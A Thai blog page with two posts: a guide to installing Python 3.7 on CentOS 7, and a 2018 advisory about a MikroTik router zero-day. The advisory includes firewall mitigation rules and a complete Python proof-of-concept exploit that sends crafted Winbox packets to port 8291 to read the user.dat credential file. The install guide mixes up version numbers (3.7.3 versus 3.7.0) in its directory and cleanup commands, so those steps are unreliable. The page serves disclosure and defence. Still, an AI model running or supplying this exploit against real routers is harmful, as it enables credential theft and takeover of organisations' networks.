Blog

การติดตั้ง Python 3.7 บน centos 7

เริ่มต้นด้วยการทดสอบว่าตอนนี้ Centos ของเราติดตั้ง Python เวอร์ชั่นไหนไว้ด้วยคำสั่ง

#python –version

เริ่มกระบวนการติดตั้ง
Step 1 – Requirements

สำหรับการติดตั้งองค์ประกอบของ Python 
#yum install gcc openssl-devel bzip2-devel libffi libffi-devel

Step 2 – ดาว์นโหลด python เวอร์ชั่น 3.7
จากเว็พไซต์ python official ด้วยคำสั่ง wget

#cd /root
#wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

กรณีที่ ไม่มีคำสั่ง wget ติดตั้งไว้ให้ทำการติดตั้งด้วยคำสั่ง #yum install wget

หลังจากนั้นทำการแตกไฟล์ด้วยคำสั่ง
#tar xzf Python-3.7.3.tgz

Step 3 – ติดตั้ง Python 3.7

#cd Python-3.7.0
ทำการ จัดเตรียม package และสั่ง Compile the Package
#./configure –enable-optimizations
#make altinstall
หลังจากติดตั้งเสร็จเราจะสั่งลบไฟล์ที่เราดาว์นโหลดมาก็ได้เพราะไม่ได้ใช้แล้ว
#rm -f /root/Python-3.7.0.tgz

ติดตั้งเรียบร้อย

Step 4 – ตรวจสอบ Python Version

ตรงนี้จะสับสนกันนิดนึ่งคือตัวระบบเองจะสามารถติดตั้ง โปรแกรม Python ได้หลายเวอร์ชั่นในเครื่องเดียว คำสั่งหลักในการเช็คเวอร์ชั่นแต่ละเวอร์ชั่นนั้นไม่เหมือนกันนะครับสำหรับเช็ค Python 3 เนี่ยต้องใช้คำสั่ง python3.x -V
#python3.7 -V

เท่านี้ก็เป็นการเสร็จเรียบร้อย

2018 – 0Day Exploit MikroTik

2018 – 0Day Exploit MikroTik

พูดถึง MikroTik หลายท่านคงเคยผ่านตา  หลายคนคงได้ใช้งา่นทั้งใน office ในบ้าน  แม้แต่ในไซต์งานลูกค้า
เนื่องจากเป็นอุปกรณ์ UTM ที่ใช้งานได้หลากหลาย มี Interface ให้ใช้ง่านได้ง่ายมากมาย  และตลอดช่วงอายุของ MikroTik ตั้งแต่ผลิตมา ก็มีช่องโหว่เกิดขึ้นเพียง 4 ช่อง  ซึ่งทาง MikroTik ได้ทำการ patch ไปแล้วเป็นที่เรียบร้อยใน version ล่าสุด

อย่างไรก็ตาม ทาง Hacker ได้เผย Zero Day (0Day)  Vulnerability ซึ่งเป็นช่องโหว่ร้ายแรงออกมา  ทำให้ Attacker สามารถโจมตีเข้าไปยัง MikroTik เป้าหมาย  และอ่านค่าจาก File user.dat ที่ทำหน้าที่เก็บชื่อผู้ใช้และรหัสผ่านออกมาได้  เป็นผลให้เกิดความเสี่ยงระดับร้ายแรงต่อองกรณ์ต่างๆ ที่ใช้ MikroTik เป็น Router หลัก  และคงต้องใช้เวลาอีกสักระยะกว่า MikroTik จะสามารถออก Patch เพื่อแก้ใขช่องโหว่ดังกล่าวได้

รูปแบบการโจมตีสามารถดูได้จากตัวอย่าง LAB ต่อไปนี้

2018 – 0Day Exploit MikroTik

https://www.youtube.com/watch?v=jfRiQKkED34&feature=youtu.be

จากๅ VDO จะเห็นได้ว่า  Attacker ใช้เวลาเพียงไม่กี่วินาทีเพื่อทำการโจมตีเอาข้อมูลผู้ใช้ออกมาจาก Router MikroTik ที่เป็นเป้าหมาย  เป็นผลให้ล่วงรู้ข้อมูลข้างในองกรณ์ทั้งหมด และยังปรับเปลี่ยนค่าต่างๆ ได้อีกด้วย

 

 

 

 

 

 

 

 

 

ระดับความเสี่ยง : Critical (เสี่ยงที่สุด)
ผลกระทบ : High (กระทบมาก)
การเข้าถึง : High (ง่ายมาก)
Patch / Hotfix : ยังไม่มี
Last updated : 25/07/2018

Mitigate Risk : กำหนดค่า
Firewall เพื่อป้องกันการเข้าถึง ดังนี้

MikroTik-Console#>/ip firewall filter

MikroTik-Console/ip firewall filter#>add action=reject chain=input comment=”SECURITY” content=user.dat reject-with=icmp-network-unreachable

MikroTik-Console/ip firewall filter#>add action=drop chain=input content=”user.dat

 

 


Exploit Example :

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump

a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]

b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]

if __name__ == “__main__”:
try:
ip = sys.argv[1]
except:
print(“Usage: python PoC.py [IP_ADDRESS]”)

#Initialize Socket
s = socket.socket()
s.settimeout(3)
s.connect((ip, 8291))

#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)

#Send hello and recieve the sesison id
s.send(a)
d = bytearray(s.recv(1024))

#Replace the session id in template
b[19] = d[38]

#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))

#Get results
print(ip)
dump(d[55:])


Credit : Isara  Ruk-isara
MVP Windows Security
C|HFI ,Security+